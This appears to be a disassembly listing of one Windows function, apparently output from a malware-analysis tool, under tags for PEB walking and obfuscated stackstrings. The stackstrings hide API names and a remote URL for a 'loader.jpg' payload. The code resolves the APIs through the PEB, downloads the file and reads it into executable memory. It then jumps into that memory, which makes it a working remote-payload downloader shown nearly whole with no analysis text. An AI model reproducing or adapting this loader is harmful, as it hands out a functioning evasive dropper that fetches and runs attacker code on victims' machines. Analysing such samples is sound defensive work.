Function at 0x140001110
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x178]
sub rsp, 0x278
mov dword [rbp - 0x20], 0x64616f4c
mov dword [rbp - 0x1c], 0x7262694c
mov dword [rbp - 0x18], 0x41797261
mov byte [rbp - 0x14], 0
mov dword [rbp - 0x30], 0x7373654d
mov dword [rbp - 0x2c], 0x42656761
mov dword [rbp - 0x28], 0x41786f
mov dword [rbp - 0x60], 0x74697845
mov dword [rbp - 0x5c], 0x636f7250
mov dword [rbp - 0x58], 0x737365
mov dword [rbp], 0x444c5255
mov dword [rbp + 4], 0x6c6e776f
mov dword [rbp + 8], 0x5464616f
mov dword [rbp + 0xc], 0x6361436f
mov dword [rbp + 0x10], 0x69466568
mov dword [rbp + 0x14], 0x41656c
mov dword [rbp - 0x10], 0x74726956
mov dword [rbp - 0xc], 0x416c6175
mov dword [rbp - 8], 0x636f6c6c
mov byte [rbp - 4], 0
mov dword [rbp - 0x40], 0x65657246
mov dword [rbp - 0x3c], 0x7262694c
mov dword [rbp - 0x38], 0x797261
mov dword [rsp + 0x60], 0x72657375
mov dword [rsp + 0x64], 0x642e3233
mov word [rsp + 0x68], 0x6c6c
mov byte [rsp + 0x6a], 0
mov dword [rsp + 0x50], 0x6d6c7275
mov dword [rsp + 0x54], 0x642e6e6f
mov word [rsp + 0x58], 0x6c6c
mov byte [rsp + 0x5a], 0
mov dword [rsp + 0x70], 0x61657243
mov dword [rsp + 0x74], 0x69466574
mov dword [rsp + 0x78], 0x41656c
mov dword [rbp - 0x80], 0x46746547
mov dword [rbp - 0x7c], 0x53656c69
mov dword [rbp - 0x78], 0x657a69
mov dword [rsp + 0x40], 0x64616552
mov dword [rsp + 0x44], 0x656c6946
mov byte [rsp + 0x48], 0
mov dword [rbp - 0x70], 0x74726956
mov dword [rbp - 0x6c], 0x466c6175
mov dword [rbp - 0x68], 0x656572
mov dword [rbp - 0x50], 0x736f6c43
mov dword [rbp - 0x4c], 0x6e614865
mov dword [rbp - 0x48], 0x656c64
mov dword [rbp + 0x18], 0x70747468
mov dword [rbp + 0x1c], 0x2f2f3a73
mov dword [rbp + 0x20], 0x32323131
mov dword [rbp + 0x24], 0x64616f6c
mov dword [rbp + 0x28], 0x6f2e7265
mov dword [rbp + 0x2c], 0x632d7373
mov dword [rbp + 0x30], 0x6f682d6e
mov dword [rbp + 0x34], 0x6f6b676e
mov dword [rbp + 0x38], 0x612e676e
mov dword [rbp + 0x3c], 0x7579696c
mov dword [rbp + 0x40], 0x2e73636e
mov dword [rbp + 0x44], 0x2f6d6f63
mov dword [rbp + 0x48], 0x64616f6c
mov dword [rbp + 0x4c], 0x6a2e7265
mov word [rbp + 0x50], 0x6770
mov byte [rbp + 0x52], 0
call fcn.140001030
mov rcx, qword gs:[0x30]
mov r13, rax
mov rdx, qword [rcx + 0x60]
mov rcx, qword [rdx + 0x18]
mov rdx, qword [rcx + 0x10]
mov rcx, qword [rdx]
mov rdx, qword [rcx]
mov rbx, qword [rdx + 0x30]
lea rdx, [rbp - 0x20]
mov rcx, rbx
call r13
lea rcx, [rsp + 0x60]
mov rdi, rax
call rdi
lea rdx, [rbp - 0x30]
mov rcx, rax
call r13
lea rdx, [rbp - 0x60]
mov rcx, rbx
call r13
lea rdx, [rbp - 0x40]
mov rcx, rbx
mov r15, rax
call r13
lea rdx, [rbp - 0x10]
mov rcx, rbx
mov rsi, rax
call r13
lea rdx, [rsp + 0x70]
mov rcx, rbx
mov qword [rbp + 0x1d0], rax
call r13
lea rdx, [rbp - 0x50]
mov rcx, rbx
mov r12, rax
call r13
lea rdx, [rbp - 0x80]
mov rcx, rbx
mov r14, rax
call r13
lea rdx, [rsp + 0x40]
mov rcx, rbx
mov qword [rbp + 0x1c8], rax
call r13
lea rdx, [rbp - 0x70]
mov rcx, rbx
mov qword [rbp + 0x1d8], rax
call r13
lea rcx, [rsp + 0x50]
mov qword [rbp + 0x58], rax
call rdi
lea rdx, [rbp]
mov rcx, rax
mov rbx, rax
call r13
xor r13d, r13d
lea r8, [rbp + 0x60]
lea rdx, [rbp + 0x18]
mov r9d, 0x104
xor ecx, ecx
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], r13d
call rax
mov rcx, rbx
call rsi
mov qword [rsp + 0x30], r13
lea r8d, [r13 + 1]
lea rcx, [rbp + 0x60]
xor r9d, r9d
mov edx, 0x80000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
call r12
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001414
xor edx, edx
mov rcx, rax
call qword [rbp + 0x1c8]
mov esi, eax
cmp eax, 0xffffffff
jne 0x14000141b
mov rcx, rbx
call r14
mov eax, 1
jmp 0x14000147e
xor ecx, ecx
mov rdx, rsi
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [rbp + 0x1d0]
mov rcx, rbx
mov rdi, rax
test rax, rax
je 0x140001411
lea r9, [rbp + 0x1c0]
mov r8d, esi
mov rdx, rax
mov qword [rsp + 0x20], r13
call qword [rbp + 0x1d8]
mov rcx, rbx
test eax, eax
jne 0x140001472
call r14
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [rbp + 0x58]
mov eax, 1
jmp 0x14000147e
call r14
call rdi
xor ecx, ecx
call r15
xor eax, eax
add rsp, 0x278
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret